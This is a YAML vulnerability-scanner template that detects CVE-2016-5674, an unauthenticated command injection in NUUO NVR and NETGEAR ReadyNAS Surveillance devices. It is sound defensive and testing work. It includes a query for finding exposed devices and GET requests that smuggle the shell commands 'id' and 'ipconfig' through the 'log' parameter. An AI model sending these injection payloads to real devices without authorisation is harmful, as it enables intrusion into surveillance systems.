NUUO NVR camera `debugging_center_utils_.php` - Command Execution

id: CVE-2016-5674

info:
  name: NUUO NVR camera `debugging_center_utils_.php` - Command Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    __debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter.
  impact: |
    Attackers can execute arbitrary PHP code remotely without authentication through command injection, leading to complete server compromise and data breach.
  remediation: |
    Update NUUO NVR devices to the latest firmware version that patches the command injection vulnerability.
  reference:
    - http://www.kb.cert.org/vuls/id/856152
    - https://www.exploit-db.com/exploits/40200/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-5674
    cwe-id: CWE-20
    epss-score: 0.9461
    epss-percentile: 0.99844
    cpe: cpe:2.3:a:netgear:readynas_surveillance:1.1.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: netgear
    product: "readynas_surveillance"
    fofa-query:
      - "app=\"NUUO-NVRmini\" || app=\"NUUO-NVR\" || title=\"Network Video Recorder Login\""
      - app="nuuo-nvrmini" || app="nuuo-nvr" || title="network video recorder login"
  tags: cve,cve2016,nuuo,rce,netgear,vkev,vuln
variables:
  rand: "{{to_lower(rand_text_alpha(32))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20id"
      - "{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20ipconfig"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "contains(body_1, 'Debugging Center')"
          - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body_1)"
        condition: and

      - type: dsl
        dsl:
          - "status_code_2 == 200"
          - "contains(body_2, 'Debugging Center')"
          - "contains(body_2, 'Windows IP')"
        condition: and
# digest: 490a004630440220676735682bcb50f503a85f3ca7a1bab9f41ab2b196dbfec6c032d26659184de90220297a6ff9cb6bc5935fdbe754c1a2780b98771a89a1278425647fe306fdf39e99:922c64590222798bb761d5b6d8e72950